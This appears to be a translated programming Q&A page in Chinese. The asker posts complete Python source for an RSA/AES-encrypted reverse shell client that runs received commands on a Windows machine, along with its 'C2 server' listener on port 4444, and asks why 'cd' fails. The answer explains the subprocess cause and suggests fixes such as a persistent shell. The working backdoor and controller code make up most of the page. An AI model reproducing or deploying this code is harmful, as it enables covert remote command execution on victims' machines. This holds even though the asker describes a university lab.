首页 > 解决方案 > Python3 中的 Crypto Reverse Shell - cd 命令不会更改目录

问题描述

加密服务器在 Kali Linux 虚拟机上启动,而客户端 shell 在 Windows 10 虚拟机上启动。

反向外壳工作。建立连接并保持连接。我可以从 shell 运行所有类型的命令,例如 -ifconfig、dir、ls、systeminfo、netstat 等。但是,唯一的问题是我无法使用 -"cd & cd .." 命令枚举虚拟机的目录.

如果我从 Linux 的 shell 键入 cd ,我不会收到任何错误,连接也不会关闭。似乎它在 Windows 机器上执行了命令,但它没有返回任何响应。

我知道过去曾有人问过这个问题,并且我已经浏览了这些主题:

1. python3 - cd 在反向 shell 中不工作

2.使用 Python 命令的反向 Shell 命令在尝试更改目录时卡住

3.子进程更改目录

4.相当于shell 'cd' 命令改变工作目录?

我没有发现有帮助

我想我了解问题的本质,但我不知道如何解决。如果有人知道可能导致这种行为的原因,我将不胜感激。

这是加密客户端外壳

import socket, os, subprocess

from crypto import RSA, AES

HOST = 'IP'               # The remote host
PORT = 4444               # The remote port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

pub_key = b"""
-----BEGIN PUBLIC KEY-----
PUBLIC KEY
-----END PUBLIC KEY-----
"""


asymetric_public = RSA()
asymetric_public.load_public_pem(pub_key)

aes_key = os.urandom(32)

encrypted_aes_key = asymetric_public.encrypt(aes_key)

s.send(encrypted_aes_key)

aes = AES(aes_key)

while 1:

    encrypted_command = s.recv(1024)

    decrypt_command = aes.decrypt(encrypted_command)
    command = decrypt_command.decode('utf-8')

    if not command: break # breaks loop if the connection is closed

    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    response = proc.stdout.read() + proc.stderr.read()

    if not response: response = b' '

    encrypted_response = aes.encrypt(response)
    s.send(encrypted_response)

s.close()

这是加密服务器外壳

import socket

from crypto import RSA, AES

PORT = 4444

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", PORT))
s.listen(1)

asymetric_keys = RSA()
asymetric_keys.load_file('keys.pem')


print()
print("C2 Server listening on port %d" % PORT)

while True:

    print("Awaiting connection...")

    sock, addr = s.accept()

    encrypted_aes_key = sock.recv(256)

    aes_key = asymetric_keys.decrypt(encrypted_aes_key)

    aes = AES(aes_key)

    print()
    print("Session opened!")

    while True:
                
        command = input("CMD>")
        if not command: continue

        encrypted_command = aes.encrypt(command.encode('utf-8'))

        sock.send(encrypted_command) # send command to the reverse shell
                
        encrypted_response = sock.recv(65535) # get response from the shell
        response = aes.decrypt(encrypted_response)

        if not response: break # break loop if connection closed
        print(response.decode('utf-8'))
        
    print("Session closed!")
    print()

导入的类(RSA 和 AES)来自第三个 python 文件,该文件用于生成、加载、解密、加密、验证和签署加密密钥。我不认为问题是由这个文件引起的,但是如果需要,我也可以发布代码。

PS我正在为一个大学项目做一个实验。因此,一切都只是为了实验目的。

标签: python-3.xshellsocketsencryptionsubprocess

解决方案


while 1:

    encrypted_command = s.recv(1024)
    ...
    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    ...
    s.send(encrypted_response)

subprocess.Popen将启动一个新进程,执行其中的命令,返回输出,然后该命令的进程将退出。这意味着仅在这个新创建的进程中更改目录。它对以下命令没有影响,因为这些命令从反向 shell 的工作目录开始 - 没有更改。这实际上也在Subprocess 更改目录的接受答案中得到了解释- 您提到的一个问题没有帮助。

要解决这个问题,要么需要在反向 shell 本身内解释命令,而不是在新进程中执行它。或者需要收集多个命令并在一个执行的进程中一起执行这些命令。或者需要使用外壳生成一个单独的进程并将所有命令输入其中并获取所有输出 - 但永远不要关闭外壳。


推荐阅读